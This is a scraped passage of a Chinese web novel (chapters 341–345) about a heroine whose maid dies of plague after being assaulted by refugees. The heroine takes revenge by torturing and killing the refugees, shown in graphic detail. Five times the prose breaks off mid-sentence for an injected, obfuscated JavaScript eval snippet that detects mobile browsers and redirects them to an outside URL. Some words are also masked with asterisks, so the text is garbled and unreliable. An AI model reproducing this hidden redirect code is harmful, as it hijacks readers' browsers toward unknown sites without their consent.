她小心地把小荷放在床上,然后一边神情焦虑急切的转身去拿药箱,一边快速吩咐,“来人!端盆热水,再拿几块干净的帕子、干净的衣服!快!” 侍卫听到命令,连忙走了出去。 秦时月坐在床边,为小荷诊脉,不过须臾,便脸色一沉。 是疫症! 小荷竟然得了疫症!是何时的事?她的离开,是否与疫症有关? 想到这儿,秦时月打开银针包挑了几根细针,在火上烤了烤,然后为小荷施针。 这些穴位能封住经脉,补气安神,暂时稳住小荷的病情,让她不至于那么痛苦。 “小姐,您要的东西来了!”侍卫端着铜盆、帕子进来,里面是温热洁净的清水。 秦时月接过帕子蘸了热水,轻轻为小荷擦去脸上的泥污。 她的小荷本该是美好的,可她却遭受了非人的折磨…… 想到这,秦时月眸光猩红,攥着帕子的手不自觉收紧,手背青筋浮现,骨节泛白。 不管是谁伤害了她的小荷,她绝不会放过!! 擦完脸,秦时月又去解小荷的衣衫,一边检查她身上的伤口,一边帮她清洁。 刚解开领口,就看见她脖颈处有几道红色的印子,像是被人掐过,往下看,胸口还有块更大的淤青。 果然,果然和她预想的一样!! 小荷身上的那些痕迹,绝非摔倒造成的,根本就是被人玷污留下的!! 他怎么敢的!! “小姐。”侍卫小声唤了句。 秦时月猛地回神,脸色阴冷,但像是怕吓到小荷般,很快又泄去了一身冷意,“去把我配的治疫症的汤药拿来,再拿瓶止血化瘀的药膏。” “是。”侍卫心里骇然,不敢多问,连忙转身出去了。 娘娘方才的眼神,好吓人,比起陛下……也不论多让。 不过,这一路上,他们与小荷姑娘接触颇深,她是那样活泼可爱,开朗无邪的女子,属实不该遭遇这些。 想到这,侍卫在心里暗叹一声,眼里多了一丝惋惜。 耶律良才一进门看见秦时月坐在床边。 她脸色苍白透明,眼神是他从未见过的懊悔,绝望,让他没由来的心里一紧。 “小荷姑娘的情况怎么样了?”他放轻脚步,努力掩下浓烈的情愫,走到床边问道。 秦时月没抬头,声音有些发涩,“她患病了,身上有多处外伤……耶律良才,我后悔了……” 她决口没提小荷被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355495|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欺辱的事,但她真的后悔了。 如果,如果当初她愿意听宋墨辰的话,不一意孤行的亲自涉险,她的小荷就不会经历这些。 耶律良才攥攥拳,虽然面上不显,但看着她的眼神里是浓的化不开的心疼。 小荷的遭遇,他在来时听到了一些,虽然秦时月严令不许外传,但通过那三言两语和小荷如今的状态、秦时月的反应,他,能够猜到。 “你放心,不管是谁做的,我一定让他付出代价。”耶律良才眸光深沉。 他知道小荷对她的重要性。 有人敢对小荷出手,害她伤心。 简直找死! 秦时月低头看着小荷的毫无血色的小脸。 伸手握住了那只没有温度的手,指尖传来的凉意让她的心更沉重,“我刚才检查了她的伤口,有些伤口已经感染化脓,疫症也到了中期……” 后面的话她没说出口,可耶律良才明白,“时月,你已经尽力了。小荷姑娘性子坚韧,她一定能挺过来的。” 秦时月点点头,又想起什么,抬头看向耶律良才,“流民那边怎么样了?有没有再出现感染疫症的人?” “已经派人去统计了,新感染的人比昨天少了些,不过周围还有流民往这边涌,要是再不控制,恐怕会出乱子。我听说这几天你没怎么休息,要是你也倒下了,谁来照顾小荷?” 秦时月揉了揉眉心,确实觉得有些累,可她不敢休息。 但她清楚,小荷还没醒,流民和疫症的事也没解决,此时她要是倒下了,只会更乱…… “等小荷的情况稳定些再说吧。”秦时月站起身走到桌边,端起大夫刚送来的汤药,用勺子舀了一勺放在嘴边吹了吹,探着身子给小荷喂药。 小荷昏迷,喝进去的并不多,好在汤药量多,秦时月又不厌其烦,总归喂下去不少。 喂完药,她才坐在椅子上,稍微松了口气。 耶律良才看着她疲惫的样子,心里有些不忍,却也知道劝不动她,最终只叹息一声,“我在外面守着,有什么事你随时叫我。” 第341章 她的小荷,睡着了 秦时月点了点头,没说话,只是目光依旧落在小荷身上。 见状,耶律良才无奈的摇了摇头,然后转身退了出去。 他知道,此刻她更想一个人待着。 他离开时秦时月没回眸,只是默默的看着小荷,眼神中充满了担忧。 账外的天色慢慢变暗…… 小荷已经昏迷两天了。 前日用的汤药似是起了点作用,黑斑没再往脖子以下蔓延,但让秦时月忧心的是,她的脉搏却是一天比一天弱,这两日夜里还发过两次高热。 “小姐,您喝口粥吧。”帐帘被轻轻掀开,侍卫端着个瓷碗走了进来,“您从昨天早上到现在就没吃过东西,再这么熬着,身体该扛不住了。” 秦时月没回头,眼神平静无波,好像,除了小荷的事,任何事都激不起她的反应。 “放那儿吧,等会儿再喝。” 侍卫把碗放在桌边,看着她苍白的侧脸,忍不住多劝了句,“小姐,小荷姑娘要是醒了,见您这样,肯定会心疼的,您多少吃点,也好有精神照顾她啊。” 闻言,秦时月缓缓转过头,她看着桌上的粥喉结动了动,却没什么胃口,随即摆了摆手,“我知道了,你先出去吧,有动静再叫你。” 侍卫叹了口气,轻手轻脚地退了出去。 帐内又恢复了安静。 “小荷,你不是还要跟着我入宫吗?你答应我的事还没做到,你怎么能一直睡着呢?”秦时月自言自语道。 床上的人没动静,她的眼泪又不争气的涌了上来。 她连忙别过脸,抬手一抹。 可眼泪却越擦越多,滴在小荷的手背上,烫得小荷的手指轻轻动了动。 见状,秦时月的心猛地一跳,立刻凑了上去,“小荷?你,你是不是能听到我说话了?” 小荷的眼皮颤了颤,像是费了极大的力气,才缓缓睁开一条缝。 不知过了多久,她睁开了双眼。 无神的双眼定定地看了会儿帐顶,然后像是反应过来,慢慢转过来,落在了秦时月神情复杂的脸上。 “……小姐”小荷气若游丝的开口,嗓音沙哑的不像话。 秦时月吸吸鼻子,强忍想哭的冲动哽咽道:“我在,我在。小荷,你感觉怎么样?有没有哪里不舒服?” “我不疼……就是,有点累……小姐,我好像,看到我娘了。” 听到这话,秦时月的脸色白了一瞬,心缓缓沉了下去。 小荷的状态不正常,虽然她不想承认,但她知道,这该是回光返照的征兆…… 一想到这,秦时月就觉得胸口憋的厉害,甚至有种窒息慌乱的感觉。 “别胡说。”她强撑着笑脸,声音暗哑,“你就是睡久了,等会儿喝了粥就有力气了。” 只是她不知道,此时,她脸上的笑比哭还难看,“等咱们回去,等我和陛下完婚入宫,你做我的大宫女,你若是不喜欢拘束,我就帮你物色一个好的,以侯府嫡女的待遇送你嫁人……” 泪水糊了一脸,秦时月有些说不下去了。 “真好……可是小姐,小荷怕是,不能陪着您了……”小荷双眼含泪,眼里有期盼,也有释然,“小姐……小荷这辈子,最放心不下的就是您,您要,要,好好照顾自己……” 她,撑不过去了。 她这一生凄苦,但也幸运。 打小她便被父母卖给了人牙子,许是用尽了一生的幸运,得以遇到年幼的小姐。 小姐将自己买下,自此,她有了家。 小姐待她极好,她没什么遗憾的,唯一的遗憾是,不能亲眼看到小姐和陛下成婚…… “我不用你照顾。”秦时月再也受不住,眼泪大颗大颗地砸下来,“小荷,你别丢下我好不好?我已经配了最好的药,他们已经去熬了,你再等等,再坚持一下好不好?” 这一刻,秦时月无比后悔,若是当初她用月露多制一颗能起死回生的药,若是当初她没有一意孤行来此地,若是她坚定的不让小荷同行…… 是不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16357177|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是不是就不会走到这一步!? 小荷轻轻摇了摇头,吃力地抬手,想擦去秦时月的眼泪,可她太虚弱了,手指才抬起,就无力的落了下去。 见状,秦时月哽咽的更厉害,几乎说不出完整的话,“都是我的错,要不是我,就不会发生这些事了,小荷,对不起,是我对不起你。” “不怪你,小姐……”小荷的呼吸越来越弱,说话也开始断断续续,“当年若不是您,小荷已经冻死在那个严冬了……” 听到这,秦时月的脑海里瞬间回想起了她们的第一次碰面。 当时秦家还未发迹,她虽然受宠,但因为家庭普通,她其实没什么能做主的机会。 可偏偏那日,大雪纷纷,她穿着厚厚的棉衣在街上玩耍,一眼就看到了被人牙子抽打的小丫头。 小丫头衣着单薄,小脸、鼻尖,双手,冻的通红,一双大眼睛里盈满泪水,却咬牙不肯求饶。 那一刻,秦时月心中一滞,头也不回的跑回家,第一次,求了母亲…… 秦时月吸吸鼻子,又哭又笑,“你既记得,那便给我好好活着,你的命不是你自己的,是我的!” 历经两世,秦时月早就把小荷看做了她的妹妹。 她,真的受不住…… “……是,小荷,答应您。”小荷想要挤出一个微笑来安慰她,可尝试了半天,也挤不出来,下一秒,剧烈的呛咳起来,嘴角溢出了一丝鲜血。 秦时月心慌不已,连忙抬手想给她擦干净血迹,可她的呼吸越来越轻,眼神也开始涣散,可她还是努力睁着眼,想要将秦时月的样子牢牢记住。 血迹擦干了,可小荷脑袋一歪,眼睛,缓缓闭上了,像是陷入了新一轮的沉睡。 帐内的药味依旧浓郁,陶炉上的水壶还在咕嘟咕嘟地冒着热气。 秦时月握着小荷冰凉的手僵在原地,下一秒,眼泪像断了线的珠子,不停地往下掉。 她看着小荷平静的睡颜,心像被掏空了一样,只剩下无边无际的疼。 第342章 再见侍书 不知过了多久,她缓缓抬起头起身,空洞的眼神看着帐顶的布幔,撕心裂肺的哭了出来。 她的小荷,再也不会陪着她一起哭,一起笑了…… 帐外的耶律良才听到哭声,心中一凛,快步走了过来,看到她悲痛欲绝的样子,心中有个角落狠狠触动了一下。 “小荷,我会给你报仇的,欺辱过你的人,我一个都不会放过……”秦时月的声音很轻。 说完,她转身想出帐,踉跄了一下没站稳,耶律良才适时出手扶住她,才不至于让她跌倒。 在耶律良才的搀扶下,她一步一步,缓缓走出了帐篷。 从今天起,她不仅要为自己活下去,还要为小荷活下去,要替她讨回公道,要让那些伤害她的人,付出最惨痛的代价! 帐外下起了小雨,雨丝密密麻麻地落在帐篷上。 他们走出帐帘,侍书和影夜立刻迎了上来,两人身上的衣衫已经被雨水浸湿,显然已经在这儿候了许久。 看到秦时月,侍书眼神微闪,随后收敛心神,恭敬单膝跪地,“属下参见皇后娘娘!” 他虽然到的时间不长,但小荷的事,他听说了。 他知道秦时月和小荷的感情,心里不免为秦时月感到担忧。 “你怎么来了?”秦时月开口,声音透着有气无力,“是陛下让你来的?他怎么样了,还好吗?” 她离开时,宋墨辰还卧床休息,也不知如今身体是否恢复了。 “回娘娘,陛下一切都好,陛下心里牵挂您,所以让属下来此护着您。” 闻言,秦时月淡淡的点了点头。 小荷走了,此刻她心情沉重,恨不得将伤害小荷那群人**万段! “你们在这儿等多久了?”秦时月问道。 影夜上前一步,“半个时辰前便到了,我等见娘娘在帐内守着小荷姑娘,没敢贸然打扰,便在这儿候着。” 他顿了顿,抬眼看向秦时月,“娘娘……” “你们还是唤我小姐吧,行事方便。”秦时月面无表情,轻声打断了他。 影夜顿了一下,点头应下,“是,小姐。关于小荷姑娘的事,属下查到了一些线索。” 闻言,秦时月死寂的眼睛亮了一下,她一抬手,猛地抓住了影夜的脖领,“说!” “县主,雨势见大,这里不是个说事的好地方,还是进去说吧。”侍书和影夜都到了,耶律良才心情不爽,但为了保护秦时月的声誉,还是改回了称呼。 秦时月愣了一下,看着两人湿透的衣服,沉默的松开手,转身走进一旁的偏帐。 小荷已经沉睡,他们,不能打扰她…… 偏帐里已经生了炭火,暖意扑面而来,与帐外的湿冷截然不同。 影夜上前将帐帘拉好,侍书则把油纸灯放在桌案上,又给秦时月倒了杯温热的茶水递过去。 “小姐,您先喝口热茶暖暖身子吧。” 秦时月接过茶杯,猛然记起,先前都是小荷为她奉茶,可现在…… 她抿了一口热茶,茶水顺着喉咙滑下去,暖了眼眶,暖了身子。 “有什么发现?” “我们在城郊发现了一方帕子。”说着,影夜从怀中掏出一方帕子,递到秦时月面前,“小姐您看,这帕子跟小荷姑娘平日里用的帕子一模一样。” 秦时月伸手接过帕子,眼眶又开始发烫。 是的,这确实是小荷的帕子! 可这帕子不仅破了,还沾了不明的污渍,可想而知小荷当时遭遇了什么。 “除了帕子还有别的吗?”秦时月紧紧攥着帕子,冷声问道。 影夜点头,语气凝重了几分,“前段时间下过一场雨,城郊干涸的土地上,残留着明显的拖拽痕迹,地上还有几枚不同尺码的鞋印。” “属下已经调查到,那些鞋印的主人是一些四处逃窜的流民。”侍书在一旁补充道。 听到这话,秦时月垂眸,目光落在桌案上的茶杯里,让人看不透她的心思。 流民?他们好心收留他们,为他们治病,他们就是这样对待自己的恩人的!? “小荷不能白受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366520|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些苦,那些人,一个都不要放过。”秦时月平静的声音里带着一丝疯感。 影夜躬身领命,“是,属下遵命!这就带人出发!” 说完,他大步离开了偏帐,帐外很快传来他召集人手的声音。 见状,侍书立即开口,“小姐别太忧心了,影夜定能把那些人抓回来。听闻您已经一天没好好吃东西了,属下让人给您端些饭菜来,您多少吃点?” 秦时月摇了摇头,“我吃不下去,你先出去吧。” 此刻,她只想一个人待一会儿。 “小姐,小荷姑娘若是在天有灵,也不希望看到您这样折磨自己,您得好好保重身子,才能替小荷姑娘报仇。”侍书不知该如何安慰,只好说出这番话。 “出去!”秦时月闭上眼,眉心胀痛。 此时,只有鲜血才能抚平她暴虐的情绪,除了看到那些罪民,她什么都不想看到。 侍书无奈,只好领命而出。 天亮时分,影夜便将那群流民带了回来。 为了不引起骚动,影夜将审人的偏帐设在最西侧,并派出一群侍卫看管。 得到消息后,秦时月歪着脑袋,邪笑了一下。 她拿出锦盒中小荷的簪子握在手中,随后起身,笑着走了出去。 偏帐中央的空地上,绑着七个浑身脏污的流民。 他们被粗麻绳反绑着双手,脚踝也用绳子系在一起,连成一串,个个衣衫褴褛,脸上神情慌乱不安。 帐内只点了两盏油灯,昏黄的光投下,几人脸上没有一处好地,显然是被抓来时挨了揍。 侍书站在秦时月身侧,看着这些人。 “都抬起头来。”秦时月的声音很轻,像往日一般,让人听不出什么情绪。 一个光头男子偷偷抬眼,看向秦时月的脸,又赶紧低下头。 他们都认得秦时月,知道她给他们派过药,还给了他们米面,百姓都尊称她为活菩萨。 认出是她,这群人倏地松了一口气,认定眼前的“活菩萨”绝不会杀了他们。 第343章 小荷被** 最左边的男人抬起头,脸上多了一丝不服气,“这位小姐,我们就是些没饭吃的流民,不过是在城郊破庙里躲雨,凭什么把我们绑到这儿来!” 这话一出,旁边几个流民也跟着附和,“你们这不是仗势欺人吗?” “就是!我们没偷没抢,你们要是再不放人,我们就去官府告你们!” 侍书皱了皱眉,刚要开口呵斥,却被秦时月抬手拦住。 她缓缓站起身,一步步走到男子面前,停下脚步,居高临下地看着他们,目光落在了光头男人的脸上。 啧,真是难看。 “没偷没抢?”秦时月似笑非笑的重复着他的话,“那你们手里的药囊是什么?” 影夜查到,小荷临走前带了些药囊,可他们找到小荷时,并未在小荷身上发现药囊的踪迹。 然而,影夜却在这群流民手里找到了属于小荷的药囊。 很显然,是这群人抢的! “是……是我们自己的!”男子心虚了一瞬,不服气的扯着脖子大喊。 “这些药囊,难道不是你们从一个梳双丫髻的姑娘手里抢来的!?”秦时月目眦尽裂瞪着他们,眼里的杀意再也无法克制。 “什,什么姑娘?我们没见过!你可不能血口喷人!”男子不敢回看她的注视,闪躲的别开了脑袋。 他觉得,秦时月心善,此时就是对他们发狠,吓吓他们,并不会真的做什么。 闻言,秦时月深吸一口气,调整了一下自己的情绪,“没见过?” 她微微偏过头,目光扫过其他的流民,“你们呢?也没见过?” 帐内气氛压抑,流民们心跳如鼓的互相递着眼色。 他们认为,秦时月既然能给百姓派药,心肠定然软,只要他们一口咬定没见过,她没有证据,总不能真把他们怎么样。 殊不知,秦时月早将他们的小动作看得一清二楚。 她面上笑意加深,眼底的寒意却又深了几分。 她转身走回椅子旁坐下,漫不经心的把玩着手里的簪子。 “我记得,你是姓王吧。”秦时月突然开口,目光落在一个中年男子身上,“你左手食指第二节上,有一道新伤,是怎么来的?” 闻言,**猛地一僵,下意识地想把左手藏到身后,却被绳子绑着动弹不得。 “我,我这伤是,是砍柴时不小心划的。” “砍柴划的?”秦时月冷笑一声,“好好好。” 既然他们不说,那就没有必要给他们机会了,“我再问一遍。” 她看向这群人,眉眼带笑,“我有一万种法子让你们开口,若有不实,我不介意让你们尝遍。” 帐内的空气仿佛凝固了,流民们脸色发白,你看我我看你,谁都不敢先开口。 最左边的男子,咬了咬牙,愤怒的吼道:“就算我们见过那姑娘又怎么样?她一个人躲在草堆里,身上带着药,说不定是个逃犯!我们不过是跟她要些药,她不肯给,还想喊人,我们才……” “才怎么样?”秦时月攥着簪子,眸光潋滟,像朵绝美妖艳的毒花。 “我们,我们就是抢了药。这世道,有药就是命!我们只是想活……再说了,她一个姑娘家拿着那么多药在外游荡,就算不是我们,也会有其他人!” “没其他的了?”见他们还想避重就轻,秦时月朝影夜勾勾手,“我记得,你的手段最是狠辣,既然他们记不起来,那就交给你了。” “是,属下定不负所望!” 说着,影夜从短靴里抽出一把泛着寒光的**,眸光淡漠的看着跪了一地的流民,抬脚走近。 “我只问一遍,你们对小荷姑娘做了什么?”几人眼神乱颤,还想隐瞒,下一秒,影夜的语调沉了沉,“我不似小姐心善,若有隐瞒,这个,就是下场!” 话落,光头男的手掌被一刀斩断,伴随着喷涌的鲜血,惨叫声不绝于耳。 看到这一幕,秦时月的眼中红光一闪,表情有瞬间龟裂,心里隐隐有些兴奋。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366521|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些流民虽然在这段时间见惯了生死,可还从没有见过如此骇人的场面,顿时被吓破了胆,浑身筛糠不已,有两个甚至被吓尿了…… “我,我说!” “我说,好汉,好汉饶我一命,求您了!” 随后,在他们争先恐后的讲述中,秦时月拼凑出了完整的事件。 小荷被咬后,担心疫情传染,所以拿了药远离了,之后,她遇到了这群流民。 其中一人认出了小荷是前些日子派药的婢女,在看到了她身上的药后动了邪念,想据为己有。 在小荷苦苦挣扎哀求的时候,她的衣服被扯乱,他们看到了她的身子,邪念肆起,竟然,一起欺辱了她…… “你们知道她是谁吗?”秦时月眼眶猩红,起身冲到流民面前,愤怒的举着簪子甩了男子一巴掌,男子的脸被簪子划出深深一道血痕,鲜血直流。 可她尤不解恨,“也敢对她不轨!!” “一群狗东西!对你们好,你们竟然恩将仇报!”秦时月突然笑了起来,笑的眼角带泪,“很好!既然你们不配为人,那就都**吧!” “你,你不能杀我们!”流民们此时是真的怕了。 他们见识过为了活命争抢杀夺,可他们,从没有一刻像现在这样,明知道成了粘板上的鱼肉,却只能无助等死…… 侍书和影夜还是第一次见这样的秦时月,他们皱皱眉,心中难受,却不得不等待她的命令。 姓王的中年男子突然跪了下来,用力磕着头,恳求道:“小姐饶命!小姐饶命啊!是我们糊涂,我们不是人!我们不该抢小荷姑娘的药,不该对她做那种事!求您饶我们一命,求您了!” 他这一跪,其他几个流民更慌了,纷纷磕头求饶,帐内一片哭喊声。 “小姐,我们是被猪油蒙了心!我们真的知道错了!” “求您看在我们也是苦命人的份上,饶我们一次吧,以后,以后我们一定虔诚改错!” “都是他!都是他逼我们的!” 第344章 为她报仇 最左边的男子见其他人把责任推到自己身上,急得大喊,“不是我!是你们自己也想要药!是你们自己动了邪念!” 秦时月看着他们互相推诿的样子,眼角滑下一滴泪珠。 她的小荷,竟然是被这群不配为人的畜生玷污的,光是想到他们恶心的行径,她就恨不得将他们千刀万剐! 中年男子不敢看秦时月的眼睛,只能低着头,声音颤抖地说道,“那日,我们在路上讨饭,见到了小荷姑娘。” 秦时月能想象到小荷当时有多绝望,有多害怕。 是她不好,没能保护好她。 上一世,小荷为了护她,替她挡了秦可云捅过来的刀,死在了她的怀里,这一世,她以为自己能护着小荷,却没想到,小荷还是遭了这么大的罪,最后,连命都没了。 她恨自己的无能,更恨眼前这些伤害小荷的人! “够了!”秦时月猛地打断他,从腰间抽出一把**。 下一秒,她握着**,阴着脸走近男子。 男子见她拿着**走过来,脸色瞬间一白,吓得魂飞魄散,拼命往后缩。 “小姐饶命!我错了!我再也不敢了!求您饶我一命!” 秦时月没有说话,眼神里只有一片死寂的冷。 她想起小荷身上那些深浅不一的瘀伤,想起小荷被侮辱时的绝望,就恨不得将这些人**万段! 她走到男子面前,居高临下的欣赏着他惊恐的目光,突然,猛地将**捅进了他的喉管…… 鲜血瞬间喷涌而出,溅了秦时月和男人身边的人一身。 男子眼睛瞪得大大的,嘴巴张了张,喉咙里除了汩汩声,没有任何多余的声音。 他挣扎了几下,最后身子一软栽倒在地,彻底没了气息。 帐内瞬间安静下来,中年男人吓得浑身发抖,只能眼睁睁地看着秦时月拔出**。 秦时月抬手擦了擦脸上的血迹,眼神里没有丝毫波澜。 这些人,每一个都欠了小荷的命,她一个都不会放过! “侍书。”转过身,秦时月看着侍书,声音平静,“交给你了,一个不留。” 侍书眸光微闪,躬身应道:“是,属下遵命。” 说完,他一招手,立刻有侍卫上前将流民带了下去。 流民们被侍卫拖走后,帐内又恢复了死寂。 秦时月站在原地,手里还握着那把沾血的**。 她的目光落在地上的血迹上,久久没有动。 侍书走过来,递上一块干净的手帕,“小姐,擦擦吧。” 她接过帕子,却没有擦脸,而是擦了擦**上的血迹。 **的刀刃很亮,映出她眼底的红血丝,也映出了她脸上的决绝。 “侍书,”秦时月轻声说道:“你说,小荷会不会怪我?怪我没有保护好她?” “……小荷姑娘不会怪您的,她知道您心里有她,知道您为她报仇了。” 闻言,秦时月的嘴角溢出一丝苦笑,忍不住红了眼眶。 是啊,她的小荷是个傻的,即便因为她……也从不会怪她…… 帐外的雨还在淅淅沥沥地下着,就像是秦时月的心情,沉重而阴沉。 她走出偏帐,在侍书的护送下回到了自己的帐篷。 “你们去处理一下小荷的后事,条件艰苦,一切从简,唯独,要给我留一捧她的骨灰。”秦时月心痛不已,但还是嘱咐道。 原本她是想亲自处理小荷的身后事的,可如今……她像是被掏空了般,没有半分力气,所以那些事,只能交给侍书他们。 “是!”侍书躬身应下。 侍书才离开,秦时月就再也无法控制内心的悲伤,无声的哭了出来。 …… 第二日。 秦时月扶着胀痛的太阳穴睁开眼,下意识想喊小荷,才张嘴突然想起来,小荷已经不在了。 她呼吸一痛,眼神暗了暗。 外头的雨还没停,细密的雨丝织成一张灰蒙蒙的网,笼着整个院子。 秦时月收拾好心情掀开被子,赤着脚下床走到衣柜前,衣柜最深处一块绣着荷花的藕粉色布料映入眼前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369214|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这料子是入城后,她们治好了一位富商的妻子后,富商送的。 原本想等回去后,小荷生辰前制成一套新衣送给她,可还没等到他们回去,她的小荷就没了…… 明明再坚持一段时间,这里的事情就可以结束了,明明再有月余,就是小荷的生辰了…… 秦时月随手抽出一套襦裙,也不拘颜色,穿戴好后坐到了铜镜前。 镜中的她脸色苍白,眼下是淡淡的青黑,眉头紧皱,浑身写满了疲倦。 秦时月伸手理了理鬓发,深吸一口气。 “来人,备车。”秦时月对着门外说道,声音有些沙哑。 守在外头的侍书应了声,“是!” 侍卫们忙碌了一夜,将小荷葬在了城郊的一处桃林中。 桃林面积很大,来年春天桃花盛开的时候,遍野粉色,定是很美的。 相信小荷,一定会喜欢这处地方。 埋葬好小荷的骨灰后,侍书将一个白瓷瓶交到了秦时月手中,她眸光微闪,了然的攥紧了瓷瓶。 “小荷以前最喜欢桃花糕了,先前为了吃上正宗的桃花糕,她还特意跟着肖嬷嬷学了,可如今,桃花开败了,小荷,不在了。” 秦时月远远看着坟前简陋的,以木板书就的墓碑,“秦小荷”三个字,晃的她眼疼。 “小荷。”秦时月轻轻地唤了一声,“下辈子,我们不要再见了……” 话音刚落,她的眼泪就不争气的掉了下来。 前世,也是这样一个雨天,小荷为了护着她,**死,那时候秦时月抱着小荷的尸体,哭得几乎晕厥,心里只有一个念头,要是能重来一次,她一定好好保护小荷,让伤害过他们的人都付出代价! 可她真的重来了。 可到头来,她还是没能护住小荷。 两世,她的小荷都因她而死,如果真的还有下一世,她希望,不要再遇到小荷,这样,小荷或许能平平稳稳的度过一生…… 前世今生的那些温暖回忆在秦时月脑海里回放,每一个画面都清晰得仿佛就发生在昨天。 第345章 再见故人 片段交织在一起,让秦时月分不清哪些是过去,哪些是现在。 风从山坡上吹过,带着雨后的凉意,吹得她的头发乱了。 她抬手理了理头发,指尖却忽然没了力气。 连日来的劳累,让她有些站不稳。 眼前的黑暗越来越浓,她感觉自己的身体无力的往下倒去,意识模糊前,一双有力的手臂从身后伸了过来,稳稳地接住了她。 …… 不知过了多久,秦时月在一片熟悉的香气中迷迷糊糊醒来。 一只滚烫的大手突然抚在她的额间,似在试探她的体温。 秦时月缓缓睁开眼,看清了眼前的人。 宋墨辰? 他没穿龙袍,着了件玄色常服。 这衣服衬的他面色如玉,多了几分寻常男子的温和儒雅。 “醒了?”宋墨辰紧张地问道,眼神始终放在她身上,“头还晕不晕?方才摸你的额头,还有点凉。” 秦时月没有应声,只是眨了眨泛红的双眼。 “我睡了多久?”她一开口,就沙哑的不像话,喉咙更是干涩的厉害。 “一天一夜。”宋墨辰眼神心疼,扶着秦时月坐了起来,“太医已经看过了,开了药,你既然醒了,就喝了再休息。” 说着,他端起旁边的药碗,凑到了她面前。 秦时月伸出手想接,却被他躲开了。 随后,他拿起瓷勺,竟是药亲自喂她喝药。 “你怎么过来了?京城……没事吗?”秦时月问道。 “无事,你现在的首要任务是调养好身子。”宋墨辰吹吹汤药,送到她嘴边。 他一收到侍书的飞鸽传书,立刻将大军的指挥权交到了副将手中,然后马不停蹄的赶了过来。 幸好边境距离这里不是很远,他日夜兼程走了两天,终于赶在她昏迷前赶到了。 原本宋墨辰想直接进城,不曾想,在城郊看到了急行的车马,又看到了全程守在马车边的侍书。 这才让人掉头,一路追过来。 幸好他赶到及时,刚好看见秦时月因为体力不支晕倒。 在她昏迷的这段时间,她在南方遭遇的一切,侍书事无巨细地全部报给了他。 当得知小荷死的如此凄惨,秦时月如此悲痛欲绝时,宋墨辰恨不得将南方所有流民全部处死! 他的月月一心为民,为了救助百姓,甚至抛弃大婚仪式,而这群畜生竟然敢…… “这是哪?”秦时月环顾四周,才发现这里不是自己住的简易帐篷。 “别院。”宋墨辰说:“以往皇帝来南方巡查时的住所。” 闻言,她低下了头,不知该如何同他说这段时间的事情。 她知道宋墨辰的脾气,若是同他讲,只怕他会生气。 见她不说话,宋墨辰将手里的药碗放下,坐的离她更近了些。 “我都知道了。” 听到这话,秦时月愣了一下,不明白他话里的意思。 “小荷一心为你,为了嘉奖,回宫后,我会亲自下旨追封。” 秦时月怔愣一下,没开口,眼眶先红了。 她喉间轻轻滚了一下,像有什么堵在那里,吐不出来,也咽不下去。 见状,宋墨辰握起她的手,认真的说道:“如今出了这样的事,并不是你的过。况且她活着的时候,总把你放在第一位,如今知道你为她报了仇,她一定高兴。” 秦时月的眼眶忽然就热了。 小荷**。 两世,都是因为她**。 宋墨辰见她落泪,立即俯身,拿出桌边的帕子,轻轻擦去她的眼泪。 “都是我的错,如果我没有带她来南方,她就不会发生这种意外!”秦时月痛哭道:“都是我害了她,是我!” “不是你的错。”宋墨辰将人抱在怀里,轻声安慰,“这是小荷自己的选择。” “可是……” 